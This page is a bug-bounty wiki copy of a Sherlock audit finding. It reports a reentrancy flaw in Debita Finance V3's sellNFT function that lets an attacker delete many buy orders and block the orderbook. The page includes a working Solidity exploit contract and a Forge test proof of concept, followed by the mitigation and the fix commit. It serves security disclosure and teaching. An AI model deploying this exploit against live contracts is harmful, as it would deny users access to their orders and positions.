Skip to content
Race condition Audit finding Intermediate

An attacker can wipe the orderbook in buyOrderFactory.sol

The sellNFT function in buyOrder.sol lacks reentrancy protection, allowing a malicious contract to repeatedly call it and delete multiple buy orders. This temporarily blocks the orderbook, preventing users from viewing, deleting, or selling positions.

0x37 Follow with AdamSzymanski, VAD37 and 4 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/326

Found by

0x37, AdamSzymanski, VAD37, Vidus, copperscrewer, liquidbuddha, tourist

Summary

A malicious actor can wipe the complete buy order orderbook in buyOrderFactory.sol. The attack - excluding gas costs - does not bear any financial burden on the attacker. As a result of the exploit, the orderbook will be temporarily inaccessible in the factory, leading to a DoS state in buy order matching, and in closing and selling existing positions.

Root Cause

The function sellNFT(uint receiptID) lacks reentrancy protection: https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L92

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

  1. Attacker calls createBuyOrder(address _token, address wantedToken, uint _amount, uint ratio) with exploit contract supplied in parameter wantedToken
  2. Attacker calls sellNFT(uint receiptID) which triggers the exploit sequence
  3. Exploit contract will reenter sellNFT multiple times, triggering a cascade of buy order deletions

Impact

The orderbook in buyOrderFactory.sol will be inaccessible. The function getActiveBuyOrders(uint offset, uint limit) is used by off-chain services to gather buy order data - this data will be temporarily blocked. Deleting existing buy orders (deleteBuyOrder()) and selling NFTs (sellNFT(uint receiptID)) will also be temporarily blocked until the issue is resolved manually. Issue can be resolved manually by:

  • Opening dummy buy orders with very little collateral
  • Closing/selling positions on existing "legit" orders

PoC

Note: the PoC is somewhat hastily developed as the audit deadline is quite short relative to the project scope. Executing the PoC with the verbose flag (forge test -vvvv) will show that deletion is triggered multiple times.

Exploit contract:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface BuyOrder {
    function sellNFT(uint receiptID) external;
}

contract Exploit {
    BuyOrder public buyOrder;
    uint public counter = 0;
    uint public counterMax = 2;

    struct receiptInstance {
        uint receiptID;
        uint attachedNFT;
        uint lockedAmount;
        uint lockedDate;
        uint decimals;
        address vault;
        address underlying;
    }

    constructor() {}

    function setBuyOrder(address _buyOrder) public {
        buyOrder = BuyOrder(_buyOrder);
    }

    fallback() external payable {
        if (counter < 2) {
            counter++;
            buyOrder.sellNFT(0);
        }

        if (counter == counterMax) {
            counter++;
            buyOrder.sellNFT(1);
        } 

    }

    function getDataByReceipt(uint receiptID) public view returns (receiptInstance memory) {
        uint lockedAmount;
        if (receiptID == 1) {
            lockedAmount = 1;
        } else {
            lockedAmount = 0;
        }

        uint lockedDate = 0;
        uint decimals = 0;
        address vault = address(this);
        address underlying = address(this);
        bool OwnerIsManager = true;
        return receiptInstance(receiptID, 0, lockedAmount, lockedDate, decimals, vault, underlying);
    }

}

Forge test:

Solidity
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";

import {BuyOrder, buyOrderFactory} from "@contracts/buyOrders/buyOrderFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";

import {Exploit} from "./exploit.sol";

contract BuyOrderTest is Test {
    buyOrderFactory public factory;
    BuyOrder public buyOrder;
    BuyOrder public buyOrderContract;
    ERC20Mock public AERO;
    Exploit public exploit;

    function setUp() public {
        BuyOrder instanceDeployment = new BuyOrder();
        factory = new buyOrderFactory(address(instanceDeployment));
        AERO = new ERC20Mock();
    }

    function testMultipleDeleteBuyOrder() public {
        address alice = makeAddr("alice");
        deal(address(AERO), alice, 1000e18, false);

        vm.startPrank(alice);
        IERC20(AERO).approve(address(factory), 1000e18);
        exploit = new Exploit();

        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        
        address _buyOrderAddress = factory.createBuyOrder(
            address(AERO),
            address(exploit),
            1,
            1
        );

        exploit.setBuyOrder(_buyOrderAddress);
        buyOrderContract = BuyOrder(_buyOrderAddress);

        buyOrderContract.sellNFT(2);

        vm.stopPrank();
    }

}

Mitigation

Apply reentrancy protection on the function sellNFT(uint receiptID): https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L92

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/f3195e007b0c22dc0173a344157c182726dbf2ec

The original report as published on Sherlock, by 0x37. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The orderbook becomes temporarily inaccessible, blocking off-chain data retrieval and preventing users from deleting buy orders or selling NFTs until manual intervention.

What the attacker needed

Attacker can create a buy order with a malicious token…; No special permissions required

The fix

The protocol team fixed this issue by applying reentrancy protection to the sellNFT function.

How it was found

  1. Attacker calls createBuyOrder with a malicious contract as the wantedToken parameter.
  2. Attacker calls sellNFT on that buy order.
  3. The malicious contract reenters sellNFT multiple times, causing multiple buy order deletions.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A reentrancy attack happens when a smart contract calls another contract before finishing its own work, letting the other contract call back in and repeat actions. Here, the sellNFT function could be tricked into running multiple times, each time deleting a buy order, so an attacker could wipe many orders at once.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by 0x37

View all

79 more disclosed reports, best first.

More from Debita Finance V3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.